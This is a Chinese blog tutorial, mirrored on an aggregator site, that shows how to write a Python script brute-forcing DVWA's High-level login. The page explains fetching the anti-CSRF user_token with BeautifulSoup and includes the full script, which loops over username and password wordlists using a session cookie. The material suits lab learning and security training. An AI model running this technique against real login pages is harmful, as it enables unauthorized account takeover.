zoukankan      html  css  js  c++  java
  • 编写DVWA暴力破解High级别的Python脚本

    1. 过程(不查看源代码)
    使用burpsuite或者owasp zap抓取数据包,可以看出页面执行过程如下:
    首先获取上一次请求的token,然后sleep几秒,最后使用get方法提交验证。
    2. 原理
    访问暴力破解的页面,获取token;
    带入参数再次访问该页面进行破解。
    3. 仿照
    搜索类似代码,编写暴力破解的代码。
    4. 模拟登录
    在最初访问该页面时,实际访问的页面是DVWA的login.php。
    需要在访问页面时设置header的cookie。
    r = requests.get(url, headers=headers)

    5. 查找token

    可以使用re(正则表达式)查找。
    也可以使用BeautifulSoup查找。
    由于响应页面的user_token没有id,所以不能使用id进行查找。
    可以看到,user_token是第4个input,因此可以通过查找input,获取token的值。
    url = "http://%s/dvwa/vulnerabilities/brute/" % ip
    r = requests.get(url, headers=headers)
    soup = BeautifulSoup(r.text, "html.parser")
    token = soup.find_all("input")[3].get("value")
    6. 完整代码
    # -*- coding: utf-8 -*-
    # author = 'K0ctr'


    import requests
    # import re
    from bs4 import BeautifulSoup

    ip = "192.168.203.128"
    headers = {
    # "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0",
    "Cookie": "security=high; PHPSESSID=5c6sgq0cclaer2tdpi6iep1m62"
    }

    names = open("small.txt", 'r', encoding="utf-8")
    passwords = open("common_pass.txt", 'r', encoding='utf-8')
    for username in names:
    passwords.seek(0)
    for password in passwords:
    url = "http://%s/dvwa/vulnerabilities/brute/" % ip
    r = requests.get(url, headers=headers)
    soup = BeautifulSoup(r.text, "html.parser")
    token = soup.find_all("input")[3].get("value")
    # token = re.findall(r"(?<=<input type='hidden' name='user_token' value=').+?(?=' />)", r.text)[0]
    get_data = {
    "user_token": token,
    "username": username.strip(),
    "password": password.strip(),
    "Login": "Login"
    }
    print('-' * 20)
    print('用户名:', username.strip())
    print('密码:', password.strip())
    r = requests.get(url, params=get_data, headers=headers)
    if 'Username and/or password incorrect.' in r.text:
    print('破解失败')
    else:
    print('破解成功')
    print('-' * 20)
    passwords.close()
    names.close()
     
  • 相关阅读:
    Interview with BOA
    Java Main Differences between HashMap HashTable and ConcurrentHashMap
    Java Main Differences between Java and C++
    LeetCode 33. Search in Rotated Sorted Array
    LeetCode 154. Find Minimum in Rotated Sorted Array II
    LeetCode 153. Find Minimum in Rotated Sorted Array
    LeetCode 75. Sort Colors
    LeetCode 31. Next Permutation
    LeetCode 60. Permutation Sequence
    LeetCode 216. Combination Sum III
  • 原文地址:https://www.cnblogs.com/koctr/p/10700767.html
Copyright © 2011-2022 走看看